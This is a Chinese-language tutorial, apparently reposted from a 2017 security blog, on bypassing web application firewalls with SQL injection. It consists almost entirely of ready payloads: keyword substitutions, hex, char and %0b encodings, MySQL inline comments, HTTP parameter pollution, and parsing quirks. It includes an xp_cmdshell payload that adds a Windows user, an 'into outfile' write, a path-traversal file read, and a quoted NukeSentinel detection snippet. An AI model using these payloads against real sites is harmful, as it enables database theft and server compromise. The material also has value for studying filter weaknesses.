一、 绕过waf思路
从第一步起，一点一点去分析，然后绕过。
1、过滤 and,or
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preg_match( '/(and|or)/i' , $id) Filtered injection: 1 or 1 = 1 1 and 1 = 1 Bypassed injection: 1 || 1 = 1 1 && 1 = 1 |
2、过滤 and, or, union
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preg_match( '/(and|or|union)/i' , $id) Filtered injection: union select user , password from users Bypassed injection: 1 || ( select user from users where user_id = 1) = 'admin' |
3、过滤 and, or, union, where
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preg_match( '/(and|or|union|where)/i' , $id) Filtered injection: 1 || ( select user from users where user_id = 1) = 'admin' Bypassed injection: 1 || ( select user from users limit 1) = 'admin' |
4、过滤 and, or, union, where, limit
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preg_match( '/(and|or|union|where|limit)/i' , $id) Filtered injection: 1 || ( select user from users limit 1) = 'admin' Bypassed injection: 1 || ( select user from users group by user_id having user_id = 1) = 'admin' |
5、过滤 and, or, union, where, limit, group by
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preg_match( '/(and|or|union|where|limit|group by)/i' , $id) Filtered injection: 1 || ( select user from users group by user_id having user_id = 1) = 'admin' Bypassed injection: 1 || ( select substr(gruop_concat(user_id),1,1) user from users ) = 1 |
6、过滤 and, or, union, where, limit, group by, select
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preg_match( '/(and|or|union|where|limit|group by|select)/i' , $id) Filtered injection: 1 || ( select substr(gruop_concat(user_id),1,1) user from users) = 1 Bypassed injection: 1 || 1 = 1 into outfile 'result.txt' Bypassed injection: 1 || substr( user ,1,1) = 'a' |
7、过滤 and, or, union, where, limit, group by, select, ‘
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preg_match( '/(and|or|union|where|limit|group by|select|\')/i' , $id) Filtered injection: 1 || ( select substr(gruop_concat(user_id),1,1) user from users) = 1 Bypassed injection: 1 || user_id is not null Bypassed injection: 1 || substr( user ,1,1) = 0x61 Bypassed injection: 1 || substr( user ,1,1) = unhex(61) |
8、过滤 and, or, union, where, limit, group by, select, ‘, hex
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preg_match( '/(and|or|union|where|limit|group by|select|\'|hex)/i' , $id) Filtered injection: 1 || substr( user ,1,1) = unhex(61) Bypassed injection: 1 || substr( user ,1,1) = lower (conv(11,10,36)) |
9、过滤 and, or, union, where, limit, group by, select, ‘, hex, substr
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preg_match( '/(and|or|union|where|limit|group by|select|\'|hex|substr)/i' , $id) Filtered injection: 1 || substr( user ,1,1) = lower (conv(11,10,36)) Bypassed injection: 1 || lpad( user ,7,1) |
10、过滤 and, or, union, where, limit, group by, select, ‘, hex, substr, 空格
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preg_match( '/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i' , $id) Filtered injection: 1 || lpad( user ,7,1) ypassed injection: 1%0b||%0blpad( user ,7,1) |
二、正则绕过
根据正则的的模糊匹配特性绕过，比如过滤了'='
filtered injection: 1 or 1 = 1
Bypassed injection: 1 or 1,1 or ‘1',1 or char(97)
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eg: filtered injection: 1 union select 1, table_name from information_schema.tables where table_name = 'users' Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z' Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between char (97) and char (122) Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a Bypassed Injection: 1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273 |
三、通用绕过
1.注释符
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?id=1+un//ion+se//lect+1,2,3– |
2.大小写
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?id=1+ UnIoN // SeLecT //1,2,3– |
3.关键字替换
有些waf等使用preg_replace替换了SQL关键字
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?id=1+UNunionION+SEselectLECT+1,2,3 -- ?id=1+uni%0bon+se%0blect+1,2,3 -- |
有时候注释符'/**/‘可能被过滤，也可以使用%0b绕过
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Forbidden: http://localhost/id/1/**/||/**/lpad(first_name,7,1).html Bypassed : http://localhost/id/1%0b||%0blpad(first_name,7,1).html |
4.编码
一个经典的脚本：Nukesentinel.php
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// Check for UNION attack // Copyright 2004(c) Raven PHP Scripts $blocker_row = $blocker_array [1]; if ( $blocker_row [ 'activate' ] > 0) { if ( stristr ( $nsnst_const [ 'query_string' ], '+union+' ) OR \ stristr ( $nsnst_const [ 'query_string' ], '%20union%20' ) OR \ stristr ( $nsnst_const [ 'query_string' ], '*/union/*' ) OR \ stristr ( $nsnst_const [ 'query_string' ], ' union ' ) OR \ stristr ( $nsnst_const [ 'query_string_base64' ], '+union+' ) OR \ stristr ( $nsnst_const [ 'query_string_base64' ], '%20union%20' ) OR \ stristr ( $nsnst_const [ 'query_string_base64' ], '*/union/*' ) OR \ stristr ( $nsnst_const [ 'query_string_base64' ], ' union ' )) { // block_ip($blocker_row); die ( "BLOCK IP 1 " ); } } |
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Forbidden: http://localhost/php/?/**/ union /**/ select Bypassed : http://localhost/php/?/%2A%2A/ union /%2A%2A/ select Bypassed : http://localhost/php/?%2f**%2funion%2f**%2fselect |
5.缓冲区溢出
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http://localhost/news.php?id=1+ and +( select 1)=( select 0xA*1000)+ union + select +1,2,version(), database (), user (),6,7,8,9,10– |
6.内联注释(mysql)
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http://localhost/news.php?id=1/*! UnIoN */ SeLecT +1,2,3 -- http://localhost/news.php?id=/*! UnIoN */+/*! SeLecT */+1,2,concat(/*!table_name*/)+ FrOm /*!information_schema*/.tables/*! WhErE */+/*!TaBlE_sChEMa*/+ like + database () -- |
四、高级绕过
1.HPP（http参数污染)
举个例子：
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index.php?par1=val1&par1=val2 | web server | par1 | | :— | :— | | ASP.NET/IIS | val1,val2 | | ASP/IIS | val1,val2 | | PHP/Apache | val2 | | JSP/Tomcat | val1 | |
eg:
在ASP/ASP.NET的环境下
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Forbidden: http://localhost/search.aspx?q= select name , password from users Bypassed : http://localhost/search.aspx?q= select name &q= password from users Bypassed : http://localhost/search.aspx?q= select /*&q=*/ name &q= password /*&q=*/ from /*&q=*/users Bypassed : http://localhost/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ net user test test /*&id=1*/ -- |
2.HPC(http参数污染)
RFC2396定义了如下一些字符：
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Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () Reserved : ; / ? : @ & = + $ , Unwise : { } | \ ^ [ ] ` |
不同的Web服务器处理处理构造得特殊请求时有不同的逻辑：
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| Query String | Apache/2.2.16,PHP/5.3.3 | IIS6/ASP | | :— | :— | :— | | ?test[1=2 | test_1=2 | test[1=2 | | ?test=% | test=% | test= | | ?test%00=1 | test= | test=1 | | ?test=1%001 | NULL | test=1 | | ?test+d=1+2 | test_d=1 2 | test d=1 2 | |
eg:
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Forbidden: http://localhost/?xp_cmdshell Bypassed : http://localhost/?xp[cmdshell Forbidden: http://localhost/test.asp?file=flag.txt Bypassed : http://localhost/test.asp?file=.%./flag.txt Forbidden: http://localhost/news.asp?id=10 and 1=0/( select top 1 table_name from information_schema.tables) Bypassed : http://localhost/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables) |
总结
以上就是关于sql注入绕过的技巧总结，希望本文的内容对大家的学习或者工作能带来一定的帮助，如果有疑问大家可以留言交流，谢谢大家对服务器之家的支持。
原文链接：http://byd.dropsec.xyz/2017/03/21/SQL注入-绕过/